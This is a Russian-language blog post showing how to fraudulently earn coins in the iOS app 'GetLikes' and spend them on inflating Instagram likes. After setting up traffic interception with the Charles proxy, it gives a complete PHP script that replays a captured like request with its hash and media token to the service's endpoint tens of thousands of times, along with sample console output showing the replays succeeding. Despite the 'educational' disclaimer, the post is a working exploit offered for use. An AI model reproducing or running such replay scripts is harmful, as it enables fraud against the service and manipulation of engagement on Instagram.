Как «накрутить лайки» в Instagram, используя уязвимость приложения «GetLikes» для iOS
Внимание! Данный пост был опубликован более года назад и, возможно, уже утратил свою былую актуальность. Но это не точно.

Данный пост является повторением действий, описанных хабраюзером jo1n в его посте на хабре.

Disclaimer: Все действия носят сугубо познавательный характер. Более того - “накручивать лайки” - дело лишенное какого-либо смысла, всё рассмотренное ниже стоит рассматривать только как познавательный материал.

Для того, чтоб “накрутить лайки” мы будем использовать одну уязвимость, найденную тов. jo1n в приложении “GetLikes” для iOS, которая позволяет получать “монеты” в одноименном приложении без выполнения каких-либо действий (таких как установка “лайков” другим участникам приложения), и в последствии тратить их на то, чтоб нам к нашим фотографиям ставили массово эти самые “лайки”.

Рассмотрим весь процесс в виде нескольких этапов.

Подготовка

Для выполнения поставленной задачи нам потребуются:

  1. iPhone, на который есть возможность устанавливать приложения и изменять настройки сетевого подключения;
  2. Компьютер под управлением Windows (Linux / Mac OS);
  3. Подключение обоих устройств к одной WiFi точке;
  4. Подключение к сети интернет;

На компьютер скачиваем и устанавливаем Сharles - прокси-сервер для отладки web-приложений. После установки - запускаем (не забываем разрешить доступ приложению к сети в настройках брандмауэра / межсетевого экрана), и проверяем настройки порта и наличия статуса в правом нижнем углу “Recording”:

Настройка

После этого - переходим к настройке iPhone на работу через наш прокси сервер. Для этого смотрим какой у нас IP присвоен компьютеру:

И укажем полученные нами настройки в WiFi подключении iPhohe (НастройкиWi-Fi → тап по (i) напротив активного подключения):

Установка приложения на iPhone

Далее - ставим приложение (поиск в App Store по словам Get likes on Instagram - третий результат) и авторизируемся в нем c помощью учетной записи от Instagram:

Получение запроса, который отправляет приложение

После этого очищаем текущую сессию в Charles, ставим 1 сердце, и смотрим что он нам покажет:

  • hash — наш токен, который обновляется при авторизации в приложении;
  • media — номер изображения, которому мы поставили лайк;
  • answer — ответ от сервера instagram (поставили ли мы лайк или нет?).

Эксплуатация уязвимости

Уязвимость сервиса заключается в том, что этот же самый запрос мы можем выполнить очень много раз, вне зависимости от того - поставили мы “сердце” или же нет - нам будет зачислена 1 “монета”. Автоматизируем данный процесс, например, при помощи такого php-скрипта:

<?php

function postData($url, $data){
  $curl = curl_init();
  curl_setopt($curl, CURLOPT_URL, $url);
  curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);
  curl_setopt($curl, CURLOPT_POST, true);
  curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
  curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 ".
    "like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 ".
    "Mobile/8A293 Safari/6531.22.7");
  $out = curl_exec($curl);
  curl_close($curl);
  return $out;
}

if(!isset($argv[1]) && !isset($argv[2])) {
  die("You must pass *hash* and *media* strings in arguments".PHP_EOL);
} else {
  $hash = $argv[1];
  $media = $argv[2];
  $likes_count = 32000;

  $i = 0;
  while ($i < $likes_count){
    $delay = rand(10, 2000) / 1000;
    $out = json_decode(postData('http://www.multiliker.com/service/like2/', 'hash='.$hash.
                                '&#038;media='.$media.'&#038;answer={"status":"ok"}'), true);
    echo '['.$i.'] '.$out['result'].': '.$out['message'].' (delay '.$delay.')'.PHP_EOL;
    if($out['result'] !== 'success') {
      die('Update *hash* and *media* values'.PHP_EOL);
    }
    $i++;
    sleep($delay);
  }
}

И запускаем его из консоли на нашем дедике (первый параметр - это hash из ответа выше, а второй, соответственно - media):

$ php ./likes_craft.php "a752a54b08158c8fdee279d8fc2fc494013c911c" "1015696816576458399_632650570"
[0] success: Like has been received (delay 0.146)
[1] success: Like has been received (delay 0.592)
[2] success: Like has been received (delay 0.761)
[3] success: Like has been received (delay 1.937)
[4] success: Like has been received (delay 0.088)
[5] success: Like has been received (delay 1.189)
[6] success: Like has been received (delay 0.023)
[7] success: Like has been received (delay 1.557)
...

После чего можем убрать настройки прокси-сервера, оставить скрипт работать в фоне, а в приложении наблюдать как появляются халявные “монеты”. Можно теперь их тратить на накрутку сердец :)

Знают ли разработчики о наличии уязвимости? Да, знают. Когда исправят и исправят ли вообще? Не известно.

Update. Хуяюшки, усё пофиксили. Надо было раньше тебе успевать